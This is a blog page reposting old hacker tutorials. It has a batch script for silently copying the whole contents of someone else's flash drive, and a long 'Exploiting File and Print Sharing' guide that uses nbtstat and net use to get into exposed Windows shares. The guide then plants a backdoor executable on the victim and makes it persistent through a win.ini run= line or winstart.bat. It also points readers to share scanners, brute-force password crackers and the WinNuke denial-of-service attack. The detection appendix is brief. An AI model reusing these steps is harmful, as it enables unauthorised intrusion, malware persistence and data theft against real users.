One is to get rid of computers and telephones, in which case we would find other means of getting what we want.(Like that is really going to happen.) The other way is to give us what we want, which is free access to ALL information. Until one of those two things happen, we are not
going anywhere.

Read more...

Copy the entire contents of Flash One Click

Senin, 05 Januari 2009

Copy the entire contents of Flash One Click
In this example, the flash drive is G:
Create a folder (eg called) \ XCP in drive D:
Create a file "COPYFLASH.BAT" in the Windows Directory
This is the content:


@ echo off
title "flash disk scanning ..."
prompt $ H
dir g: / b
xcopy g:. d: \ xcp / E / C / Q / G / H / R / Y
title "complete scan ..."
exit


Create shortcutnya on the Desktop icon for the cool
The above command will copy the entire contents of the flash disk drive G: to the folder E: \ XCP
Without confirmation, if the error passed to the next file. The main responsibility and sip wrong.
For 1 Gb flash (with the USB driver v2.0 active) only takes about 58 seconds.

If you want to directly, without the files, do so:
Start> Run> type:

start / min xcopy G: \ E: \ XCP / S / Y / I / R / D>> flash.txt
Enter

Later that would flash ngopy other people, live press WinKey (between Ctrl and Alt on the left) + R, then Enter

source : ven0mday.blogspot.com/

Read more...

Exploiting File and Print Sharing

Windows has an option called file and print sharing. You can use this
option in order to "share" drive and printers, which means giving access to
files and printers to other people - people on your own network, specific
IPs or even the whole world. When you turn this option on, you leave an open
port (port number 139) that accepts connections and understand the "NetBIOS
protocol", a set of commands (a "language") used to access remote file
and print sharing servers, so that other computers can access the files or
printers you decided to share.
Now sometimes in a small company LAN this could be extremely useful. For
example, instead of having a seperate printer for each computer, there's just
one central printer in a computer that allows file and print sharing. But if
you are using file sharing in your home computer (We've seen many people
that have this option turned on and don't even know what it means! Poor
souls) that is connected to the Internet, that could be quite dangerous because
anyone who knows your IP can access your files or printers you're sharing.
If you don't know if file sharing is active in your computer just go to the
control panel and select the Network icon. Now you should see a box where you
can see all the network software that you have installed, such as TCP/IP
(Transfer Control Protocol / Internet Protocol. This is the protocol that is
used to transfer data packets over the Internet. A protocol is like a human
language - if two computers understand it, they can communicate) and probably a
dial-up adapter (so you could transfer TCP/IP packets over a PPP connection.
PPP, or Point to Point Protocol is the protocol used in dial-up connections),
check if you have a line called File and Printer Sharing.
If you have this then you have sharing activated, to turn it off just uncheck
the "I want to be able to give others access to my files" and do the same to
the other. Let's return to the ports thing. Remember port 139? The File Sharing
Port is port 139 and it's called NetBIOS Session Service port. When you have
this option enabled you also have 2 other ports open but they use the UDP
protocol instead of the TCP protocol. These ports are 137 (Name Service) and
138 (Datagram Service). Now if you know anything about DoS attacks (known to
many as nukes) port 139 should sound familiar... There's a kind of DoS (stands
for Denial of Service) attack called the OOB nuke (OOB stands for Out Of Band)
or "winnuke" that sends an OOB packet to port 139 and makes Windows lose
connection and drop the user to "blue screen mode". If you wish to know more
about DoS attacks, I suggest that you wait for the DoS attacks tutorial (at the
time this tutorial was written, the DoS attacks tutorial didn't exist yet.
However, by the time you read it it might already be available, so you can try
and get it from http://blacksun.box.sk).
Okay, enough said, let's get on with it.
----------- Getting In -----------

I'm going to explain two ways of breaking into a Windows box that has file
sharing enabled. Just to see how unsafe Windows is, the programs you'll need
come with Windows. isn't that ironic? Okay, of course they come with Windows!
Would you actually expect Microsoft to release an OS that supports sharing
without the tools to access shares?
Now, of course, you can hack file and print sharing through Unix as well.
We'll get to that in the end. Right now we're dealing with Windows here.
Both ways will have equal starts but then in one of the ways you'll keep
typing commands, and in the other way you'll use a GUI (for the ppl who
don't know GUI stands for Graphical User Interface) software. The programs
that you need are called Nbtstat.exe and Net.exe you can find it in the windows
directory. These programs run from the MS-DOS prompt. To see the help menu
for nbtstat type nbtstat /? And for net type net /?. Now if you are using
Windows 95 you can have the option NetBios Over TCP/IP disabled and with
that disabled nbtstat won't work and will display a error message like this
one: "Failed to access NBT driver" without the quotes. So if this error
message comes up just go to the control panel, and select the network icon. Now
select TCP/IP and choose properties, in the TCP/IP properties box select the
NetBIOS sheet, and enable it checking the box that shouldn't have a cross. If
you have Windows 98 the error message shouldn't be displayed unless you have
some kind of a port blocker on port 139 (such as Nukenabber). A lot of people
have these things on to detect OOB nuke attempts (usually newbies that can't
use a firewall or lamers that never attempted to. Hopefully not you).
Now, you must be thinking that enabling NetBIOS over TCP/IP opens the same
three ports, that you use to access a computer. That's true, because if you
want to use the same protocol you'll need to use the same default ports, or
you can use a terminal emulator to connect to port 139 and instead of using
the application I mentioned to type the protocol commands, but that's a real
pain in the ass. Remember that there isn't any problem with the file sharing,
because you don't have it enabled, you've just got the ports open (you are
just vulnerable to the DoS attack, you can use a firewall or get a patch for
it at www.theargon.com (click on defenses and find the OOB patch), but I don't
know if that would block the incoming data from the host that you are trying
to get in).

Now that you have your NbtStat.exe ready to roll, choose the computer. You
can use the hostname or the IP but you need to use different switches (I'll get
to that in a second).
Let's suppose for a second that this computer's hostname is
Mycomputer.MyIsp.com and the IP is 194.65.34.3. The first thing you need to do
is to see if the computer has file sharing enabled. How can you do that? It's
easy. Type:
nbtstat -a hostname
In this case nbtstat -a Mycomputer.MyIsp.com, but if you want to use the IP
you need to type:
nbtstat -A IP
In this case nbtstat -A 194.65.34.3
That's strange because DOS isn't case sensitive... but that's how things work
(I guess that although DOS isn't case sensitive, this rule doesn't apply to
command parameters. Makes more sense than the opposite).
Now you might receive two different kinds of replies. One that just says
"Host Not Found". If you get this message, you can give up trying to access
the share part of that computer, because that computer hasn't got the NetBIOS
protocol enabled, or you mistyped the hostname or IP. On the other hand, if
you get a table with names, type of sharing and status, it might be your lucky
day! Now if you get this table you're half way in. But remember that
sometimes you will get that table but you will not be able to do anything
productive with it, because the computer won't be sharing anything.
The table should look something like the one that is below:

Name Type Status
-----------------------------------------------------------------------------
Host <20> UNIQUE Registered
Hostbug <00> GROUP Registered
Host machine <03> UNIQUE Registered
-----------------------------------------------------------------------------

If you want to access your own sharing table just type nbtstat -n

-----------------------------------------------------------------------------
The values in the brackets can be:
00 base computernames and workgroups, also in "*" queries
01 master browser, in magic __MSBROWSE__ cookie
03 messaging/alerter service; name of logged-in user <--- This one is cool too ---
20 resource-sharing "server service" name <--- Check this one ---
1B domain master-browser name
1C domain controller name
1E domain/workgroup master browser election announcement [?]
-------------------------------------------------------------------------------
I'll talk about messaging/alert service later, if you want to read about it
now, just scroll down until you find Messaging/Alert Service.
-------------------------------------------------------------------------------
So if the value in the box is 20 (by the way, the values are displayed
in hex code) it means that there is sharing enabled. So now how can someone
get in? Easy. First you need to create an entry in your Lmhosts file (can be
found at c:\windows\Lmhosts. There is also an example file at
c:\windows\Lmhosts.sam. In Windows NT, these files can be found at
c:\WinNT\Lmhosts and c:\WinNT\Lmhosts.sam). If you don't have the Lmhosts file,
just create it. Read all the information in the sample file file below.

--- Lmhosts.sam file ---
# Copyright (c) 1993-1995 Microsoft Corp.
#
# This is a sample LMHOSTS file used by the Microsoft TCP/IP for Windows
# NT.
#
# This file contains the mappings of IP addresses to NT computernames
# (NetBIOS) names. Each entry should be kept on an individual line.
# The IP address should be placed in the first column followed by the
# corresponding computername. The address and the comptername
# should be separated by at least one space or tab. The "#" character
# is generally used to denote the start of a comment (see the exceptions
# below).
#
# This file is compatible with Microsoft LAN Manager 2.x TCP/IP lmhosts
# files and offers the following extensions:
#
# #PRE
# #DOM:
# #INCLUDE
# #BEGIN_ALTERNATE
# #END_ALTERNATE
# \0xnn (non-printing character support)
#
# Following any entry in the file with the characters "#PRE" will cause
# the entry to be preloaded into the name cache. By default, entries are
# not preloaded, but are parsed only after dynamic name resolution fails.
#
# Following an entry with the "#DOM:" tag will associate the
# entry with the domain specified by . This affects how the
# browser and logon services behave in TCP/IP environments. To preload
# the host name associated with #DOM entry, it is necessary to also add a
# #PRE to the line. The is always preloaded although it will not
# be shown when the name cache is viewed.
#
# Specifying "#INCLUDE " will force the RFC NetBIOS (NBT)
# software to seek the specified and parse it as if it were
# local. is generally a UNC-based name, allowing a
# centralized lmhosts file to be maintained on a server.
# It is ALWAYS necessary to provide a mapping for the IP address of the
# server prior to the #INCLUDE. This mapping must use the #PRE directive.
# In addtion the share "public" in the example below must be in the
# LanManServer list of "NullSessionShares" in order for client machines to
# be able to read the lmhosts file successfully. This key is under
#
\machine\system\currentcontrolset\services\lanmanserver\parameters\nullsessionshares
# in the registry. Simply add "public" to the list found there.
#
# The #BEGIN_ and #END_ALTERNATE keywords allow multiple #INCLUDE
# statements to be grouped together. Any single successful include
# will cause the group to succeed.
#
# Finally, non-printing characters can be embedded in mappings by
# first surrounding the NetBIOS name in quotations, then using the
# \0xnn notation to specify a hex value for a non-printing character.
#
# The following example illustrates all of these extensions:
#
# 102.54.94.97 rhino #PRE #DOM:networking #net group's DC
# 102.54.94.102 "appname \0x14" #special app server
# 102.54.94.123 popular #PRE #source server
# 102.54.94.117 localsrv #PRE #needed for the
include
#
# #BEGIN_ALTERNATE
# #INCLUDE \\localsrv\public\lmhosts
# #INCLUDE \\rhino\public\lmhosts
# #END_ALTERNATE
#
# In the above example, the "appname" server contains a special
# character in its name, the "popular" and "localsrv" server names are
# preloaded, and the "rhino" server name is specified so it can be used
# to later #INCLUDE a centrally maintained lmhosts file if the "localsrv"
# system is unavailable.
#
# Note that the whole file is parsed including comments on each lookup,
# so keeping the number of comments to a minimum will improve performance.
# Therefore it is not advisable to simply add lmhosts file entries onto the
# end of this file.

To create an entry just open the Lmhosts file in your favorite word
processor and enter your target's IP, press tab and enter the share name
(the one that is listed in the name field). Save the file and exit.
Now the are two methods to access the remote shares you're after: the
easy way and the cool way.


--- The easy way (GUI) ---

If you don't want to have any more trouble just press start, click find
and select find computer. Enter the target's IP address. If your Lmhosts entry
is correct, it will show the computer you want in the search window. Just click
on the computer icon, and start browsing through that computer like you were
browsing your own computer.

--- The cool way ---

Now it's time to get to know the net.exe program. To access the help menu
just type:
net /? (in a dos Window).
I suggest to redirect all the help to a file and then read it
(use net /? > somefile.txt to redirect all output to somefile.txt and overwrite
it, or net /? >> somefile.txt to append the output to the file without deleting
it). You can also do net option /? to get more help about that option. To
access the share, you create a virtual drive that will be the share in the
other host.
In order to do this you will need to enter:
net use drive \\[ipaddress]\[sharename]

Where:

- drive is the drive letter you want. For example f: g: z:
- ipaddress is the target host's IP

- sharename is the name of the share (remember the table we discussed about
before?)

After doing this you just need to type drive: and then browse the new drive
using Ms-DOS like if you were in your own hard disk (for example, type:
f:
If your new virtual drive has been assigned the letter f).


Example:

Lets say that you coded a *really cool* backdoor, and you want to run on a
computer that has share enabled, the share name is Flintstone and the ipaddress
is 145.42.23.14 .

c:\>net use f: \\145.42.23.14\Flinstone

Now you would just need to copy the backdoor to the new virtual
drive.

c:\>copy backdoor.exe f:\backdoor.exe

----- First Version Text ------

Then you would just change drive and run the backdoor.

c:\>f:
f:\>backdoor.exe

And the backdoor is loaded, so now you can use it to access this computer.

--------------------------------
I'm deeply sorry, but what is written between the ----First Version Text---
is wrong.
Using what is there what probably would happen was installing the backdoor
in your own computer and not in the target host. Thanks to Kimmo from the
a-Men Group that correct me.
What you really need to do is to copy the backdoor.exe file to the share,
and then edit the win.ini file adding the line:

run=%SystemRoot%\backdoor.exe

---------------------------------------------------------------------------------
NOTE: Why %SystemRoot% ?
We need to use %SystemRoot% instead of F:, because F: is a virtual drive so
in the the host that drive could not exist, so you use the variable
%SystemRoot% that will return the correct drice.
---------------------------------------------------------------------------------

Of course, you can also put the backdoor in other places, such as
c:\windows\winstart.bat (enter the line %SystemRoot%\backdoor.exe as a new
blank line). If there is no such file, create it.

-----------------------
Messaging/Alert Service
-----------------------

What's this feature? It doesn't let you access the files for certain, but
it's kinda fun, because what it does is send a message, in Message Box Format
to the other host. Watch the face of the guy that is on the computer when he
sees a message box saying "Error: User To Stupid". However, you need to
remember that your host will be shown in the message box, but if you spoof your
host, you can have a good laugh with this.
When using this feature you also need to create a new entry in your Lmhosts
file. Remember that this can only be used in a LAN network such as a school LAN
with your friends, just to see their faces, nothing more. Even if you wanted to
send it over the Internet you couldn't because it uses a broadcast system, and
when any broadcasted packets get to a router they are immediately deleted
(security reasons. Off the topic of this tutorial).
To send a message to the other computer that computer needs to have a <03>
value. As you can see in the table somewhere in the middle of the file, <03
says:
03 messaging/alerter service; name of logged-in user <--- This one is cool
too ---
So if your target computer has this turned on you can send a message by
typing:
net send sharename message
If you are in an LAN and don't want people to mess with you, type:
net stop messenger
Doing this you stop the msg service, so you won't be able to send or receive
messages using the net send syntax. If you want to enable it again, type:
net start messenger
Now you'll be able to send and receive messages again.


Appendix A: Accessing Windows shares from Unix
----------------------------------------------
The easiest way is to use an X-Windows program called
LinNeighborhood, which can be downloaded from http://www.bnro.de/~schmidjo/.
However, you can also do that from your console or xterm window, by using the
smb commands. To learn more, read the man pages of the following commands:
smbclient smbmnt smbmount smbprint smbumount

Appendix B: Finding sharing hosts
---------------------------------
Suppose you're an admin that wants to scan his network for vulnerable hosts.
Suppose you're a bored cracker that wants to find possible targets. In both
cases you'd want to have a shares scanner to do the job for you.
You can use a shares scanner to scan whole subnets and look for vulnerable
hosts for you. Get Legion or NbtScan from packetstorm.securify.com.

Appendix C: Password-Protected shares
-------------------------------------
Are you an admin that wants to test how strong his password protected shares
are? Are you a cracker that came across a password-protected share and don't
know what to do? You could try to get a brute-force sharing password cracker
that'll try passwords for you until it finds the correct one. Cain is one such
program, that also has some other features that you might want to check out.

Appendix D: Detecting Sharing Attacks
-------------------------------------
Sharing attacks are usually pretty easy to detect (unless the attacker is
spoofing or performing his attack from another host, thus making it appear as
if the other host is really the attacker). The simplest program for the job is
Lockdown 2000 (from www.lockdown.com). However, it is quite buggy and doesn't
always perform well. You can also try Notron AtGuard (www.norton.com) - I
believe it can also detect sharing attacks, although I havn't tested it yet.
However, if you're going for the real thing, you should try and get a good
firewall or intrusion detection system. My personal favorite for Unix systems
is ipchains (search linux.box.sk, freshmeat.net or any of your other
favorites), while for Windows systems I recommend Firewall-1 (search the net,
you should be able to come across it pretty quickly).


Appendix E: An Easier Way to Access Shares
------------------------------------------
Got the target's IP address? Good. Got the share name? Good. Now hit start,
then hit run, and then type:
//ip-address(or hostname)/sharename
For example: //65.4.78.203/someshare
You will be able to access the share using an interface similar to what you get
when you double-click on the "my computer" icon, and get rid of the need to
assign a virtual drive.


http://blacksun.box.sk

Read more...

  © Blogger template Columnus by Ourblogtemplates.com 2008

Back to TOP